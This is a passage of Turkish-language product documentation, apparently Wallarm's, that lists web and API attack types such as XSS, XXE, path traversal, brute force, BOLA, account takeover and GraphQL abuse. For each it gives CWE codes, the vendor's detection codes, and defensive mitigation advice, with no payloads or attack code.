önlemek için tüm istek parametrelerini temizleyin ve filtreleyin. -* [OWASP SSRF Önleme Kılavuzu][link-owasp-ssrf-cheatsheet] önerilerini uygulayın. - -### Yol geçişi - -**Güvenlik açığı/Saldırı** - -**CWE kodu:** [CWE-22][cwe-22] - -**Wallarm kodu:** `ptrav` - -**Açıklama:** - -Yol geçişi saldırısı, bir saldırganın var olan yolları istek parametreleri aracılığıyla değiştirerek savunmasız web uygulamasının veya API’nin bulunduğu dosya sisteminde depolanan gizli veri içeren dosya ve dizinlere erişmesine olanak tanır. - -Bu saldırıya karşı zafiyet, bir kullanıcı bir dosya veya dizin talep ettiğinde kullanıcı girdisinin yetersiz filtrelenmesinden kaynaklanır. - -**Wallarm korumasına ek olarak:** - -Wallarm’ın uyguladığı koruma önlemlerine ek olarak şu önerileri takip edebilirsiniz: - -* Girdideki kötü amaçlı bir öğenin çalıştırılmasını önlemek için tüm istek parametrelerini temizleyin ve filtreleyin. -* Bu tür saldırıları azaltmaya yönelik ek öneriler [burada][link-ptrav-mitigation] mevcuttur. - -### XML dış varlık (XXE) saldırısı - -**Güvenlik açığı/Saldırı** - -**CWE kodu:** [CWE-611][cwe-611] - -**Wallarm kodu:** `xxe` - -**Açıklama:** - -XXE güvenlik açığı, bir saldırganın bir XML belgesine harici bir varlık enjekte etmesine ve bunun bir XML ayrıştırıcı tarafından değerlendirilip hedef web sunucusunda yürütülmesine olanak tanır. - -Başarılı bir saldırı sonucunda, bir saldırgan şunları yapabilir: - -* Gizli verilere erişmek -* Dahili veri ağlarını taramak -* Web sunucusunda bulunan dosyaları okumak -* Bir [SSRF][anchor-ssrf] saldırısı gerçekleştirmek -* Hizmet Reddi (DoS) saldırısı gerçekleştirmek - -Bu güvenlik açığı, bir uygulamada XML harici varlıklarının ayrıştırılmasına yönelik kısıtlamaların olmamasından kaynaklanır. - -**Wallarm korumasına ek olarak:** - -* Kullanıcı tarafından sağlanan XML belgeleriyle çalışırken XML harici varlıklarının ayrıştırılmasını devre dışı bırakın. -* [OWASP XXE Önleme Kılavuzu][link-owasp-xxe-cheatsheet] önerilerini uygulayın. - -### Kaynak taraması - -**Saldırı** - -**CWE kodu:** yok - -**Wallarm kodu:** `scanner` - -**Açıklama:** - -Bir HTTP isteğine, bu isteğin korunan bir kaynağa yönelik saldırı veya tarama amacı taşıyan üçüncü taraf tarayıcı yazılımlarının bir parçası olduğuna inanılıyorsa `scanner` kodu atanır. Wallarm Scanner’ın istekleri bir kaynak taraması saldırısı olarak değerlendirilmez. Bu bilgi sonrasında bu hizmetlere saldırmak için kullanılabilir. - -**Wallarm korumasına ek olarak:** - -* IP adres allowlist/denylist kullanımı ve kimlik doğrulama/yetkilendirme mekanizmalarıyla birlikte ağ çevresi tarama olasılığını sınırlayın. -* Ağ çevresini bir güvenlik duvarının arkasına yerleştirerek tarama yüzeyini en aza indirin. -* Hizmetlerinizin çalışması için gerekli ve yeterli olan bağlantı noktaları kümesini tanımlayın. -* Ağ düzeyinde ICMP protokolü kullanımını kısıtlayın. -* BT altyapınızın donanım ve yazılımlarını periyodik olarak güncelleyin. - -## İstemci tarafı saldırılar - -### Çapraz site betik çalıştırma (XSS) - -**Güvenlik açığı/Saldırı** - -**CWE kodu:** [CWE-79][cwe-79] - -**Wallarm kodu:** `xss` - -**Açıklama:** - -Çapraz site betik çalıştırma saldırısı, bir saldırganın kullanıcının tarayıcısında hazırlanmış rastgele bir kod çalıştırmasına olanak tanır. - -Birkaç XSS saldırı türü vardır: - -* Kalıcı XSS, kötü amaçlı kodun web uygulamasının sayfasına önceden gömülü olduğu durumdur. - - Web uygulaması kalıcı XSS saldırısına karşı savunmasızsa, bir saldırgan web uygulamasının HTML sayfasına kötü amaçlı kod enjekte edebilir; dahası, bu kod, enfekte sayfayı isteyen herhangi bir kullanıcının tarayıcısı tarafından kalıcı olarak yürütülür. - -* Yansıtılmış XSS, bir saldırganın bir kullanıcıyı özel olarak hazırlanmış bir bağlantıyı açması için kandırdığı durumdur. - -* DOM tabanlı XSS, web uygulamasının sayfasına gömülü bir JavaScript kod parçacığının girişi ayrıştırdığı ve bu kod parçacığındaki hatalar nedeniyle girişi bir JavaScript komutu olarak yürüttüğü durumdur. - -Yukarıda listelenen güvenlik açıklarından herhangi birinin istismar edilmesi, rastgele bir JavaScript kodunun yürütülmesine yol açar. XSS saldırısı başarılı olduğunda, bir saldırgan bir kullanıcının oturumunu veya kimlik bilgilerini çalabilir, kullanıcı adına istekler yapabilir ve diğer kötü niyetli eylemleri gerçekleştirebilir. - -Bu güvenlik açığı sınıfı, kullanıcı girdisinin yanlış doğrulanması ve ayrıştırılmasından kaynaklanır. - -**Wallarm korumasına ek olarak:** - -* Girdideki bir öğenin çalıştırılmasını önlemek için bir uygulamanın girdi olarak aldığı tüm parametreleri temizleyin ve filtreleyin. -* Web uygulamasının sayfalarını oluştururken, dinamik olarak oluşturulan tüm öğeleri temizleyin ve kaçışlayın. -* [OWASP XSS Önleme Kılavuzu][link-owasp-xss-cheatsheet] önerilerini uygulayın. - -### Açık yönlendirme - -**Güvenlik açığı/Saldırı** - -**CWE kodu:** [CWE-601][cwe-601] - -**Wallarm kodu:** `redir` - -**Açıklama:** - -Bir saldırgan, meşru bir web uygulaması aracılığıyla bir kullanıcıyı kötü amaçlı bir web sayfasına yönlendirmek için açık yönlendirme saldırısını kullanabilir. - -Bu saldırıya karşı zafiyet, URL girdilerinin yanlış filtrelenmesinden kaynaklanır. - -**Wallarm korumasına ek olarak:** - -* Girdideki bir öğenin çalıştırılmasını önlemek için bir uygulamanın girdi olarak aldığı tüm parametreleri temizleyin ve filtreleyin. -* Kullanıcıları tüm bekleyen yönlendirmeler hakkında bilgilendirin ve açık izin isteyin. - -### CRLF enjeksiyonu - -**Güvenlik açığı/Saldırı** - -**CWE kodu:** [CWE-93][cwe-93] - -**Wallarm kodu:** `crlf` - -**Açıklama:** - -CRLF enjeksiyonları, bir saldırganın bir sunucuya (ör. HTTP isteği) gönderilen bir isteğe Satır Başı (CR) ve Satır Sonu (LF) karakterlerini enjekte etmesine olanak tanıyan bir saldırı sınıfını temsil eder. - -Diğer faktörlerle birleştirildiğinde, bu tür CR/LF karakter enjeksiyonu, çeşitli güvenlik açıklarının istismar edilmesine yardımcı olabilir (ör. HTTP Yanıt Bölme [CWE-113][cwe-113], HTTP Yanıt Kaçakçılığı [CWE-444][cwe-444]). - -Başarılı bir CRLF enjeksiyonu saldırısı, bir saldırgana güvenlik duvarlarını atlama, önbellek zehirleme yapma, meşru web sayfalarının yerine kötü amaçlı olanları koyma, “Açık yönlendirme” saldırısını gerçekleştirme ve daha pek çok eylemi yapma imkanı verebilir. - -Bu güvenlik açığı, kullanıcı girdisinin yanlış doğrulanması ve ayrıştırılmasından kaynaklanır. - -**Wallarm korumasına ek olarak:** - -* Girdideki bir öğenin çalıştırılmasını önlemek için tüm kullanıcı girdisini temizleyin ve filtreleyin. - -## Numaralandırma saldırıları - -Numaralandırma saldırısı, kötü niyetli bir aktörün, farklı girdileri sistemli bir şekilde deneyerek ve yanıtları gözlemleyerek hedef bir sistem, ağ veya uygulama hakkında geçerli bilgiler toplamaya çalıştığı bir siber saldırı türüdür. Amaç, sistem içinde var olan geçerli kullanıcı adlarını, e-postaları, hesap adlarını, kaynakları veya hizmetleri belirlemektir. - -### Genel numaralandırma saldırısı - -**Saldırı** - -**Wallarm kodu:** `Enum` - -**Açıklama:** - -Uygulamalarınızın normalde açığa çıkarılmayan herhangi bir verisini numaralandırma girişimi (kullanıcı hesapları, isimler, e-postalar, belirteçler, kimlik bilgisi çiftleri, sistem yapılandırması, hizmetler, herhangi bir parametre). - -**Gerekli yapılandırma:** - -Wallarm, yalnızca bir veya daha fazla [numaralandırma azaltma kontrolü](api-protection/enumeration-attack-protection.md) varsa genel numaralandırma saldırılarını tespit eder ve azaltır (Advanced API Security [subscription](about-wallarm/subscription-plans.md#core-subscription-plans) gerektirir). - -[Varsayılan kontroller](api-protection/enumeration-attack-protection.md#generic-enumeration), izleme modunda sunulur (yeni müşteriler için) veya devre dışıdır (gerekirse etkinleştirin). - -**Wallarm korumasına ek olarak:** - -* Bir API veya belirli uç noktalar için belirli bir zaman aralığındaki istek sayısını sınırlayın. -* Bir API veya belirli uç noktalar için belirli bir zaman aralığındaki kimlik doğrulama/yetkilendirme denemelerinin sayısını sınırlayın. -* Belirli sayıda başarısız denemeden sonra yeni kimlik doğrulama/yetkilendirme denemelerini engelleyin. -* Uygulamayı, uygulamanın kapsamı dışında kalanlar hariç, üzerinde çalıştığı sunucudaki herhangi bir dosya veya dizine erişmekten kısıtlayın. - -### Kaba kuvvet saldırısı - -**Saldırı** - -**CWE kodları:** [CWE-307][cwe-307], [CWE-521][cwe-521], [CWE-799][cwe-799] - -**Wallarm kodu:** `brute` (**Attacks** içinde), `Brute force` (**API Sessions** içinde) - -**Açıklama:** - -Kaba kuvvet saldırısı, önceden tanımlanmış bir payload ile çok sayıda isteğin sunucuya gönderilmesiyle meydana gelir. Bu payload’lar bir şekilde oluşturulmuş olabilir veya bir sözlükten alınmış olabilir. Ardından, sunucunun yanıtı, payload’daki verilerin doğru kombinasyonunu bulmak için analiz edilir. - -Başarılı bir kaba kuvvet saldırısı, potansiyel olarak kimlik doğrulama ve yetkilendirme mekanizmalarını atlayabilir ve/veya gizli kaynakları (dizinler, dosyalar, web sitesi bölümleri vb.) ortaya çıkarabilir; böylece diğer kötü niyetli eylemleri gerçekleştirme imkanı verir. - -**Gerekli yapılandırma:** - -Wallarm, yalnızca aşağıdakilerden biri varsa kaba kuvvet saldırılarını tespit eder ve azaltır: - -* [Genel numaralandırmaya karşı koruma](#generic-enumeration-attack) -* Abonelik planınızda mevcut yöntemle yapılandırılmış [Brute force protection](admin-en/configuration-guides/protecting-against-bruteforce.md) -* [Rate limit rules](user-guides/rules/rate-limiting.md) - -[Varsayılan kontroller](api-protection/enumeration-attack-protection.md#default-protection), izleme modunda sunulur (yeni müşteriler için) veya devre dışıdır (gerekirse etkinleştirin). - -**Wallarm korumasına ek olarak:** - -* Bir API veya belirli uç noktalar için belirli bir zaman aralığındaki istek sayısını sınırlayın. -* Bir API veya belirli uç noktalar için belirli bir zaman aralığındaki kimlik doğrulama/yetkilendirme denemelerinin sayısını sınırlayın. -* Belirli sayıda başarısız denemeden sonra yeni kimlik doğrulama/yetkilendirme denemelerini engelleyin. -* Uygulamayı, uygulamanın kapsamı dışında kalanlar hariç, üzerinde çalıştığı sunucudaki herhangi bir dosya veya dizine erişmekten kısıtlayın. - -### Bozuk nesne düzeyi yetkilendirme (BOLA) - -**Güvenlik açığı/Saldırı** - -**CWE kodu:** [CWE-639][cwe-639] - -**Wallarm kodu:** Güvenlik açıkları için `idor`, `bola` (**Attacks** içinde), `BOLA` (**API Sessions** içinde) - -**Açıklama:** - -Saldırganlar, isteğe gönderilen bir nesnenin kimliğini (ID) manipüle ederek bozuk nesne düzeyi yetkilendirmeye karşı savunmasız API uç noktalarından yararlanabilir. Bu, hassas verilere yetkisiz erişime yol açabilir. - -Bu sorun, API tabanlı uygulamalarda son derece yaygındır çünkü sunucu bileşeni genellikle istemcinin durumunu tamamen takip etmez ve bunun yerine erişilecek nesneleri belirlemek için istemciden gönderilen nesne kimlikleri gibi parametrelere daha fazla güvenir. - -API uç noktasının mantığına bağlı olarak, bir saldırgan web uygulamaları, API’ler ve kullanıcılar üzerindeki verileri yalnızca okuyabilir veya bunları değiştirebilir. - -Bu güvenlik açığı IDOR (Insecure Direct Object Reference) olarak da bilinir. - -[Güvenlik açığı hakkında daha fazla ayrıntı](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/) - -**Gerekli yapılandırma:** - -Wallarm, bu tür güvenlik açıklarını otomatik olarak keşfeder ancak BOLA saldırılarını yalnızca aşağıdakilerden biri varsa tespit eder ve azaltır: - -* [Genel numaralandırmaya karşı koruma](#generic-enumeration-attack) -* Abonelik planınızda mevcut yöntemle yapılandırılmış [BOLA koruması](admin-en/configuration-guides/protecting-against-bola-trigger.md) -* [API Discovery](api-discovery/overview.md) tarafından keşfedilen uç noktalar için [Otomatik BOLA koruması](admin-en/configuration-guides/protecting-against-bola.md) - -[Varsayılan kontroller](api-protection/enumeration-attack-protection.md#default-protection), izleme modunda sunulur (yeni müşteriler için) veya devre dışıdır (gerekirse etkinleştirin). - -### Zorla gezinme - -**Saldırı** - -**CWE kodu:** [CWE-425][cwe-425] - -**Wallarm kodu:** `dirbust` (**Attacks** içinde), `Forced browsing` (**API Sessions** içinde) - -**Açıklama:** - -Bu saldırının amacı, yani dizinler ve dosyalar gibi gizli kaynakları tespit etmektir. Bu, bir şablona göre oluşturulan veya hazırlanmış bir sözlük dosyasından çıkarılan farklı dosya ve dizin adlarının denenmesiyle başarılır. - -Başarılı bir zorla gezinme saldırısı, uygulama arayüzünden açıkça erişilebilir olmayan ancak doğrudan erişildiğinde açığa çıkan gizli kaynaklara erişim sağlayabilir. - -**Gerekli yapılandırma:** - -Wallarm, yalnızca abonelik planınızda mevcut yöntemle yapılandırılmış [zorla gezinmeye karşı koruma](admin-en/configuration-guides/protecting-against-forcedbrowsing.md) varsa zorla gezinmeyi tespit eder ve azaltır. - -[Varsayılan kontroller](api-protection/enumeration-attack-protection.md#forced-browsing), izleme modunda sunulur (yeni müşteriler için) veya devre dışıdır (gerekirse etkinleştirin). - -**Wallarm korumasına ek olarak:** - -* Kullanıcıların doğrudan erişmesi gerekmeyen kaynaklara erişimini kısıtlayın veya sınırlayın (ör. bazı kimlik doğrulama veya yetkilendirme mekanizmalarını kullanarak). -* Bir API veya belirli uç noktalar için belirli bir zaman aralığındaki istek sayısını sınırlayın. -* Bir API veya belirli uç noktalar için belirli bir zaman aralığındaki kimlik doğrulama/yetkilendirme denemelerinin sayısını sınırlayın. -* Belirli sayıda başarısız denemeden sonra yeni kimlik doğrulama/yetkilendirme denemelerini engelleyin. -* Dosya ve dizinler için gerekli ve yeterli erişim haklarını ayarlayın. - -## Erişim düzeyi - -**Wallarm korumasına ek olarak:** - -* Kullanıcı politikaları ve hiyerarşisine dayanan uygun bir yetkilendirme mekanizması uygulayın. -* Nesne kimlikleri için [GUID’ler](https://en.wikipedia.org/wiki/Universally_unique_identifier) gibi rastgele ve öngörülemeyen değerler kullanmayı tercih edin. -* Yetkilendirme mekanizmasını değerlendirecek testler yazın. Testleri bozan güvenlik açığı içeren değişiklikleri dağıtmayın. - -### Toplu atama - -**Saldırı** - -**Wallarm kodu:** `mass_assignment` - -**Açıklama:** - -Bir toplu atama saldırısında saldırganlar, HTTP istek parametrelerini program kodu değişkenlerine veya nesnelere bağlamaya çalışır. Bir API savunmasızsa ve bağlamaya izin veriyorsa, saldırganlar, ortaya çıkarılması amaçlanmayan hassas nesne özelliklerini değiştirebilir; bu da ayrıcalık artırımı, güvenlik mekanizmalarının atlanması ve daha fazlasına yol açabilir. - -Toplu Atama saldırılarına karşı savunmasız API’ler, uygun filtreleme olmadan istemci girdisini dahili değişkenlere veya nesne özelliklerine dönüştürmeye izin verir. Bu güvenlik açığı, en ciddi API güvenlik risklerinden biri olan [OWASP API Security Top 10 2023 (API3:2023 Broken Object Property Level Authorization)](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/) listesinde yer alır. - -**Wallarm korumasına ek olarak:** - -* İstemci girdisini kod değişkenlerine veya nesne özelliklerine otomatik olarak bağlayan fonksiyonları kullanmaktan kaçının. -* İstemci tarafından güncellenmesi gereken özellikleri yalnızca allowlist etmek ve özel özellikleri blocklist’e almak için yerleşik fonksiyon özelliklerini kullanın. -* Uygunsa, girdi veri payload’ları için şemaları açıkça tanımlayın ve zorunlu kılın. - -## API suistimali - -### Şüpheli API etkinliği - -**Saldırı** - -**Wallarm kodu:** `api_abuse` - -**Açıklama:** - -Sunucu yanıt süresinde artış, sahte hesap oluşturma ve scalping’i içeren temel bot türleri kümesi. - -**Gerekli yapılandırma:** - -Wallarm, yalnızca [API Abuse Prevention](api-abuse-prevention/overview.md) modülü etkin ve düzgün yapılandırılmışsa API suistimali saldırılarını tespit eder ve azaltır. - -**API Abuse Prevention** modülü, aşağıdaki bot türlerini tespit etmek için karmaşık bot tespit modelini kullanır: - -* Sunucu yanıt süresini artırmaya veya sunucuyu kullanılamaz hale getirmeye yönelik API suistimali. Genellikle kötü amaçlı trafik artışları ile başarılır. -* [Sahte hesap oluşturma](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-019_Account_Creation) ve [Spam gönderme](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-017_Spamming), sahte hesaplar oluşturma veya sahte içeriği (ör. geri bildirim) onaylamadır. Genellikle hizmetin kullanılamaz hale gelmesine yol açmaz ancak normal iş süreçlerini yavaşlatır veya bozar, örneğin: - - * Destek ekibinin gerçek kullanıcı isteklerini işlemesi - * Pazarlama ekibinin gerçek kullanıcı istatistiklerini toplaması - -* [Scalping](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-005_Scalping), botların çevrimiçi mağaza ürünlerini gerçek müşteriler için kullanılamaz hale getirmesi ile karakterize edilir; örneğin, tüm ürünleri rezerve ederek stokta kalmamalarına yol açmak ancak kâr sağlamamak. - -Metrikler bot saldırısı işaretlerine işaret ederse, modül anomali trafiğinin kaynağını 1 saatliğine [denylist’e veya graylist’e](api-abuse-prevention/setup.md#creating-profiles) alır. - -**Wallarm korumasına ek olarak:** - -* [Otomatik tehditlere ilişkin OWASP açıklamasıyla](https://owasp.org/www-project-automated-threats-to-web-applications/) tanışın. -* Uygulamanızla kesinlikle ilgili olmayan bölgelerin ve kaynakların (Tor gibi) IP adreslerini denylist’e alın. -* Sunucu tarafı istek hız sınırı yapılandırın. -* Ek CAPTCHA çözümleri kullanın. -* Uygulama analizlerinizde bot saldırısı işaretlerini arayın. - -### Hesap ele geçirme - -**Saldırı** - -**Wallarm kodu:** `account_takeover` (4.10.6’dan önce `api_abuse`) - -**Açıklama:** - -Kötü niyetli bir aktörün başka birinin hesabına onun izni veya bilgisi olmadan erişim elde ettiği bir siber saldırı türü. Hesaba erişim sağladıktan sonra, hassas bilgileri çalmak, sahte işlemler yapmak veya spam ya da kötü amaçlı yazılım yaymak gibi çeşitli amaçlar için kullanılabilir. - -**Gerekli yapılandırma:** - -Wallarm, yalnızca [API Abuse Prevention](api-abuse-prevention/overview.md) modülü etkin ve düzgün yapılandırılmışsa hesap ele geçirme saldırılarını tespit eder ve azaltır. - -Ortak [dedektörlere](api-abuse-prevention/overview.md#how-api-abuse-prevention-works) ek olarak, API Abuse Prevention farklı hesap ele geçirme saldırılarını tespit etmeye yönelik özel dedektörler içerir: - -* **IP rotation** – bir IP adresleri havuzu kullanan hesap ele geçirme saldırıları için. -* **Session rotation** – bir IP oturumları havuzu kullanan hesap ele geçirme saldırıları için. -* **Persistent ATO** – uzun bir süre boyunca kademeli olarak gerçekleşen hesap ele geçirme saldırıları için. -* **Credential stuffing** – istikrarlı istek öznitelikleri korunurken farklı kimlik bilgileriyle tekrarlanan oturum açma denemelerini içeren hesap ele geçirme saldırıları için ([kimlik bilgisi doldurma](#credential-stuffing)). -* **Low-frequency credential stuffing** – sonrasında API etkileşimi olmadan ([kimlik bilgisi doldurma](#credential-stuffing)) izole veya minimal kimlik doğrulama denemeleri ile karakterize edilen hesap ele geçirme saldırıları için: saldırganlar tespitten kaçınmak için oturum veya istemci başına oturum açma denemelerini kasıtlı olarak sınırlar. Bu tür saldırılar genellikle çalıntı, sentetik veya otomatik oluşturulmuş kimlik bilgilerini kullanır ve birden çok IP adresi, oturum veya zaman dilimi arasında dağıtılır. - -API Abuse Prevention, genellikle kritik uç noktalara ve/veya kimlik doğrulama ve/veya kayıt uç noktalarıyla ilişkili uç noktalara yönelik kaba kuvvet saldırısı olarak yapılan [kimlik bilgisi kırma](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-007_Credential_Cracking.html) işlemini gerçekleştiren botları tespit eder. Kabul edilebilir davranış metriklerinin otomatik eşiği, 1 saat boyunca meşru trafik temel alınarak hesaplanır. - -**Wallarm korumasına ek olarak:** - -* [Otomatik tehditlere ilişkin OWASP açıklamasıyla](https://owasp.org/www-project-automated-threats-to-web-applications/) tanışın. -* Güçlü parolalar kullanın. -* Farklı kaynaklar için aynı parolaları kullanmayın. -* İki faktörlü kimlik doğrulamayı etkinleştirin. -* Ek CAPTCHA çözümleri kullanın. -* Hesapları şüpheli etkinliklere karşı izleyin. - -### Güvenlik tarayıcıları - -**Saldırı** - -**Wallarm kodu:** `security_crawlers` (4.10.6’dan önce `api_abuse`) - -**Açıklama:** - -Güvenlik tarayıcıları web sitelerini ve API’leri taramak, güvenlik açıklarını ve güvenlik sorunlarını tespit etmek için tasarlanmış olsa da kötü amaçlı amaçlarla da kullanılabilir. Kötü niyetli aktörler, savunmasız API’leri belirlemek ve kendi çıkarları için bunlardan yararlanmak için bunları kullanabilir. - -Dahası, bazı güvenlik tarayıcıları kötü tasarlanmış olabilir ve sunucuları bunaltarak çökmesine veya diğer türde kesintilere yol açarak yanlışlıkla web sitelerine zarar verebilir. - -**Gerekli yapılandırma:** - -Wallarm, yalnızca [API Abuse Prevention](api-abuse-prevention/overview.md) modülü etkin ve düzgün yapılandırılmışsa güvenlik tarayıcıları saldırılarını tespit eder ve azaltır. - -**API Abuse Prevention** modülü, aşağıdaki güvenlik tarayıcı bot türlerini tespit etmek için karmaşık bot tespit modelini kullanır: - -* [Fingerprinting](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-004_Fingerprinting.html), bir API’yi profillemek için bilgi ortaya çıkaran spesifik istekleri kullanır. -* [Footprinting](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-018_Footprinting.html), API’nin bileşimi, yapılandırması ve güvenlik mekanizmaları hakkında mümkün olduğunca çok şey öğrenmeyi amaçlayan bilgi toplama faaliyetidir. -* [Zafiyet tarama](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning), hizmet güvenlik açıklarını arama ile karakterize edilir. - -**Wallarm korumasına ek olarak:** - -* [Otomatik tehditlere ilişkin OWASP açıklamasıyla](https://owasp.org/www-project-automated-threats-to-web-applications/) tanışın. -* SSL sertifikaları kullanın. -* Ek CAPTCHA çözümleri kullanın. -* Hız sınırlama uygulayın. -* Trafiğinizi, kötü amaçlı etkinliği gösterebilecek kalıpları bulmak için izleyin. -* Arama motoru tarayıcılarına hangi sayfaları tarayabileceklerini ve tarayamayacaklarını söylemek için robots.txt dosyası kullanın. -* Yazılımları düzenli olarak güncelleyin. -* İçerik dağıtım ağı (CDN) kullanın. - -### Scraping - -**Saldırı** - -**Wallarm kodu:** `scraping` (4.10.6’dan önce `api_abuse`) - -**Açıklama:** - -Scraping, veri kazıma veya web hasadı olarak da bilinir, web sitelerinden ve API’lerden verilerin otomatik olarak çıkarılması sürecidir. Web sayfalarından ve API’lerden verileri almak ve çıkarmak ve bunları elektronik tablo veya veritabanı gibi yapılandırılmış bir biçimde kaydetmek için yazılım veya kod kullanmayı içerir. - -Scraping kötü amaçlarla kullanılabilir. Örneğin, kazıyıcılar API’lerden oturum açma bilgileri, kişisel bilgiler veya finansal veriler gibi hassas bilgileri çalmak için kullanılabilir. Kazıyıcılar ayrıca, API’nın performansını düşürecek şekilde spam yapmak veya veri kazımak için de kullanılabilir ve bu da hizmet reddi (DoS) saldırılarına neden olabilir. - -**Gerekli yapılandırma:** - -Wallarm, yalnızca [API Abuse Prevention](api-abuse-prevention/overview.md) modülü etkin ve düzgün yapılandırılmışsa scraping saldırılarını tespit eder ve azaltır. - -**API Abuse Prevention** modülü, uygulamadan erişilebilir verileri ve/veya işlenmiş çıktıyı toplayan ve özel veya ücretsiz olmayan içeriğin herhangi bir kullanıcı için kullanılabilir hale gelmesiyle sonuçlanabilecek [scraping](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-011_Scraping) bot türünü tespit etmek için karmaşık bot tespit modelini kullanır. - -**Wallarm korumasına ek olarak:** - -* [Otomatik tehditlere ilişkin OWASP açıklamasıyla](https://owasp.org/www-project-automated-threats-to-web-applications/) tanışın. -* Ek CAPTCHA çözümleri kullanın. -* Arama motoru tarayıcılarına hangi sayfaları tarayabileceklerini ve tarayamayacaklarını söylemek için robots.txt dosyası kullanın. -* Trafiğinizi, kötü amaçlı etkinliği gösterebilecek kalıpları bulmak için izleyin. -* Hız sınırlama uygulayın. -* Verileri gizleyin veya şifreleyin. -* Hukuki yollara başvurun. - -### Sınırsız kaynak tüketimi - -**Saldırı** - -**Wallarm kodu:** `resource_consumption` - -**Açıklama:** - -Uygun sınırlar olmadan otomatik bir istemcinin aşırı API veya uygulama kaynaklarını tükettiği bir suistimal davranışı türü. Buna, büyük miktarda kötü amaçlı olmayan istek gönderme, işlemci, bellek veya bant genişliğini tüketme ve meşru kullanıcılar için hizmet bozulmasına neden olma dahil olabilir. - -Uygun sınırların yokluğu şu şekillerde ortaya çıkabilir: - -* **Yanıt zamanlaması** (**Yanıt süresi anomali** [bot dedektörü](api-abuse-prevention/overview.md#how-api-abuse-prevention-works)) – API yanıtlarının gecikmesindeki normal dışı kalıplar, otomatik suistimal veya arka uç istismar girişimlerini işaret edebilir. İstekler, temel trafikle karşılaştırıldığında sürekli olarak olağan dışı yüksek veya düzensiz şekilde dalgalanan yanıt süreleri üretir. Bu anomaliler, botların hesaplama açısından pahalı sorgular göndermesinden, sistemi ölçmek için kasıtlı gecikmelerden veya hız sınırlarının altında kalmaya çalışan yavaş saldırı tekniklerinden kaynaklanabilir. -* **İstek boyutu** (**Aşırı istek tüketimi** [bot dedektörü](api-abuse-prevention/overview.md#how-api-abuse-prevention-works)) – API’ya anormal derecede büyük istek payload’ları, arka uç işlem kaynaklarının suistimalini veya yanlış kullanımını gösterebilir. Bu davranış, aşırı büyük JSON gövdeleri, dosya yüklemeleri veya ayrıştırma, doğrulama veya depolama kapasitelerini tüketmeye yönelik derin iç içe yapılara başvurmayı içerebilir. Saldırganlar, arka uç yükünü artırmak, hız sınırlarını atlamak veya sistem sınırlarını keşfetmek için bu payload’lardan yararlanır. -* **Yanıt boyutu** (**Aşırı yanıt tüketimi** [bot dedektörü](api-abuse-prevention/overview.md#how-api-abuse-prevention-works)) – yaşam döngüleri boyunca aktarılan toplam yanıt verisi hacminde şüpheli büyüklük. [Tüm bir oturum](api-sessions/overview.md) boyunca toplanan yanıt boyutları, yavaş damla veya dağıtılmış scraping saldırılarını ortaya çıkarır. Bu oturumlar istek başına zararsız görünebilir, ancak zamanla önemli veri sızıntısıyla sonuçlanır. - -**Gerekli yapılandırma:** - -!!! tip "" - [NGINX Node](installation/nginx-native-node-internals.md#nginx-node) 6.3.0 veya üzeri gerektirir ve şu an için [Native Node](installation/nginx-native-node-internals.md#native-node) tarafından desteklenmez. - -Wallarm, yalnızca [API Abuse Prevention](api-abuse-prevention/overview.md) modülü etkin ve düzgün yapılandırılmışsa sınırsız kaynak tüketimi saldırılarını tespit eder ve azaltır. - -Bu bot saldırı türü tespitinin hassas olması için, [API Sessions](api-sessions/overview.md) doğru şekilde [yapılandırılmalıdır](api-sessions/setup.md). - -## GraphQL saldırıları - -**Saldırı** - -**Wallarm kodu:** `graphql_attacks` - -**Açıklama:** - -GraphQL, aşırı bilgi ifşası ve DoS ile ilgili protokole özgü saldırıların uygulanmasına izin veren özelliklere sahiptir; alt bölümlerde ayrıntıları görün. - -Bu tür tehditleri önlemek için uygun bir tedbir, istek ve değer boyutları, sorgu derinliği, izin verilen toplu sorgu sayısı vb. gibi GraphQL istekleri için sınırlar belirlemektir. Wallarm’da bu sınırları [GraphQL policy](api-protection/graphql-rule.md) içinde belirlersiniz - sınırları aşan herhangi bir GraphQL isteği, GraphQL saldırısı olarak kabul edilir. - -**Gerekli yapılandırma:** - -Wallarm, yalnızca bir veya daha fazla [GraphQL saldırılarını tespit et] azaltma kontrolü veya kuralı yapılandırılmışsa (node 4.10.3 veya üzeri gerekir) GraphQL saldırılarını tespit eder ve azaltır. - -[Varsayılan kontroller](api-protection/graphql-rule.md#default-protection), izleme modunda sunulur (yeni müşteriler için) veya devre dışıdır (gerekirse etkinleştirin). - -**Wallarm korumasına ek olarak:** - -* Hassas veya kısıtlı GraphQL API’lerine erişim için kimlik doğrulaması gerektirin. -* Enjeksiyon saldırılarını önlemek ve kötü amaçlı giriş değerlerine karşı korumak için girdileri ve çıktıları temizleyin. -* İstek ayrıntıları ve yanıt verileri dahil olmak üzere GraphQL sorgu etkinliğini izlemek ve analiz etmek için kapsamlı günlükleme mekanizmaları uygulayın. -* Sınırlı izinler ve erişim kontrolleriyle güvenli yürütme ortamlarında GraphQL sunucularını çalıştırın. - -### GraphQL sorgu boyutu - -**Wallarm kodu:** `gql_doc_size`: izin verilen maksimum toplam sorgu boyutu ihlali - -**Açıklama:** - -Bir saldırgan, GraphQL uç noktaları için Hizmet Reddi (DoS) gerçekleştirmek veya sunucunun aşırı büyük girdileri nasıl ele aldığından yararlanarak başka sorunlara neden olmak isteyebilir. - -### GraphQL değer boyutu - -**Wallarm kodu:** `gql_value_size`: izin verilen maksimum değer boyutu ihlali - -**Açıklama:** - -Bir saldırgan, sunucu kaynaklarını bunaltmak için değişken veya argüman için aşırı uzun bir dize değeri içeren GraphQL isteği gönderebilir (Aşırı Değer Uzunluğu saldırısı). - -### GraphQL sorgu derinliği - -**Wallarm kodu:** `gql_depth`: izin verilen maksimum sorgu derinliği ihlali - -**Açıklama:** - -GraphQL sorguları iç içe olabilir; bu, tek seferde karmaşık veri yapılarını istemeyi sağlar; ancak 